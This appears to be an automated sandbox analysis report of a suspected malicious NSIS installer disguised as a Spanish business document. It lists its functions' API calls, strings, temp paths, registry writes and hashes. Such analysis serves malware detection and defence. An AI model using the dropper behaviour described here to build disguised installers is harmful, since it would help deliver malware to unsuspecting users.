String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$xc
API String ID: 2803837635-789679933
Opcode ID: cc8dbefb85167051c5f544e5004306f35bb35ae70e2c75d84afc589ab8111160
Instruction ID: 3828440c67d76786f1e0e44594fc16ccb97003feb117245618602a5e37269db8
Opcode Fuzzy Hash: cc8dbefb85167051c5f544e5004306f35bb35ae70e2c75d84afc589ab8111160
Instruction Fuzzy Hash: 5E61C271A01204ABDB20DF65DD85B9E7BB8EB04355F20417BFA00F62D1CB7C9A458B9D

Function 00406234 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,?,004053A8,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004062F7
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406375
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406388
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004063C4
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004063D2
CoTaskMemFree.OLE32(?), ref: 004063DD
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406401
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,?,004053A8,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 0040645B

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406343
Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll, xrefs: 00406259
Call, xrefs: 0040625E, 0040633E, 0040635F, 00406374, 00406387, 004063A3, 004063CE, 00406400, 00406406, 00406420, 00406434, 00406454, 0040645A, 00406466, 00406499
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004063FB

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-2578779655
Opcode ID: 978d560dfc87019ac3657ebba0841bd774ce65c1ae89d16051c02eb976f42344
Instruction ID: 8986ea92d4020f82ea273b0cadebf120af401304848ce5cddb84501886c13395
Opcode Fuzzy Hash: 978d560dfc87019ac3657ebba0841bd774ce65c1ae89d16051c02eb976f42344
Instruction Fuzzy Hash: C661E371A00115EBDB209F24CD40AAE37A5AF50314F52817FE947BA2D0D73D8AA6CB9D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,?,?,00000031), ref: 004017D5

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

Part of subcall function 00405371: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00402EAD,00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Strings

C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nsz2C67.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 0040179E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable$C:\Users\user\AppData\Local\Temp\nsz2C67.tmp$C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll$Call
API String ID: 1941528284-2928837671
Opcode ID: 00536d43247b0e684560901737a3663a089175b994d03775e1e0762796f7db5e
Instruction ID: 0d28a5e8dae66ca407d9ab1903032e249cf50254bac70f3abe216f7737186e0f
Opcode Fuzzy Hash: 00536d43247b0e684560901737a3663a089175b994d03775e1e0762796f7db5e
Instruction Fuzzy Hash: 0541B131900119BACF217BA5CD45DAF3A79EF01368B20427FF422B10E1DB3C8A519A6E

Function 00405371 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
lstrlenW.KERNEL32(00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00402EAD,00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004053CC
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll), ref: 004053DE
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll, xrefs: 00405392, 004053A2, 004053A8, 004053CB, 004053D7

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll
API String ID: 2531174081-760252623
Opcode ID: e0d278b4f454602652d1392a5fb3045d02927be56822f9b38c604404e895085a
Instruction ID: a3987805c55db6f4a015f8fdfae83c311b34e51693a8fcc51f5c24f156ed4de6
Opcode Fuzzy Hash: e0d278b4f454602652d1392a5fb3045d02927be56822f9b38c604404e895085a
Instruction Fuzzy Hash: A3218C71900518BBCB119F95ED84ACFBFB8EF45350F50807AF904B62A0C3B98A91DF68

Function 00402660 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026CC
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402707
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 00402740

Part of subcall function 00405EC8: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405EDE

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027EC

Strings

9, xrefs: 004026AF

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: f36db519b21e3b49fb6bb7097e34d361343d375d75a7a6e62764685d0406dfed
Instruction ID: cf5e27d2714951497ad0250a6e54f1fa2860b8b617eea02cda273725ea92b50b
Opcode Fuzzy Hash: f36db519b21e3b49fb6bb7097e34d361343d375d75a7a6e62764685d0406dfed
Instruction Fuzzy Hash: B9511674900219AADF20DF94DE88AAEB7B9FF04304F50403BE941F72D1D7B89982DB59

Function 00401DB3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDE0), ref: 00401E38

Strings

Times New Roman, xrefs: 00401E1E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: e9dc967046a9833b494e13a4fbbc470b8de16a0e7eb7b9edd9fcccda2063d4ab
Instruction ID: 65d3cf27749cc92dd64e462d7a068a1de8cb11dbe253a65c0e26eefc01b1c80e
Opcode Fuzzy Hash: e9dc967046a9833b494e13a4fbbc470b8de16a0e7eb7b9edd9fcccda2063d4ab
Instruction Fuzzy Hash: B8015271544245EFE7006BB4AF4AA9E7FB5BF55301F14097DE142BA1E2CBB80006AB2D

Function 0040657C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406593
wsprintfW.USER32 ref: 004065CE
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004065E2

Strings

UXTHEME, xrefs: 00406585
\, xrefs: 004065A4
%s%S.dll, xrefs: 004065C8

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction ID: 5ba2db083709ae0eaf9cf6759a8f1877d4d75d4363d7664b3b34a8d65426c280
Opcode Fuzzy Hash: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction Fuzzy Hash: 4AF0F670910219FADF10AB64EE0EF9B366CAB00304F50403AA546F11D0EB7CDA25CBA8

Function 004023EA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402428
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402448
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402488
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040256D

Strings

C:\Users\user\AppData\Local\Temp\nsz2C67.tmp, xrefs: 00402439, 00402447, 0040245E, 00402472, 0040247D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp
API String ID: 1356686001-1818543702
Opcode ID: ece1090bea345cee063836fd41dcee0df6b571bc993627b666dc800a2ef4f993
Instruction ID: 4be5953a60dfee5a88bc6a75bc26a7970e9a4d525f64453ad6d2d9daaf41070d
Opcode Fuzzy Hash: ece1090bea345cee063836fd41dcee0df6b571bc993627b666dc800a2ef4f993
Instruction Fuzzy Hash: 85216F71E00118BFEB10AFA4DE89DAE7B78EB04358F11843AF505B71D1DBB88D419B68

Function 004025AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000400,?,?,00000021), ref: 004025FE
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000400,?,?,00000021), ref: 00402609

Strings

C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll, xrefs: 004025C9, 004025F0, 00402604, 00402650
C:\Users\user\AppData\Local\Temp\nsz2C67.tmp, xrefs: 004025F7

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp$C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll
API String ID: 3109718747-2279021923
Opcode ID: 5d65a23732dd4ccdc7984c572b6a18305c86c71b12900251bd97c122480645d6
Instruction ID: 0226f840347654c2ecdc96a32175c32971a63fe26a5c545fd31e5d705646dbf5
Opcode Fuzzy Hash: 5d65a23732dd4ccdc7984c572b6a18305c86c71b12900251bd97c122480645d6
Instruction Fuzzy Hash: CE11C872A05714BADB106BB18E8999E7765AF00359F20453FF102F61C1DAFC8982575E

Function 00405E16 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E34
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403448,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00405E4F

Strings

nsa, xrefs: 00405E23
"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 00405E16
C:\Users\user\AppData\Local\Temp\, xrefs: 00405E1B

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1225190900
Opcode ID: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction ID: 4cf6052b0ced346fb1ee4b1f894cf66bb827df7868a0d4c9989a51242fd2e3ec
Opcode Fuzzy Hash: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction Fuzzy Hash: 9BF09076700608FBDB008F59DD05A9BBBBDEB95750F10403AFD40F7180E6B09A548B64

Function 00402C93 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402CB4
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402CF0
RegCloseKey.ADVAPI32(?), ref: 00402CF9
RegCloseKey.ADVAPI32(?), ref: 00402D1E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402D3C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
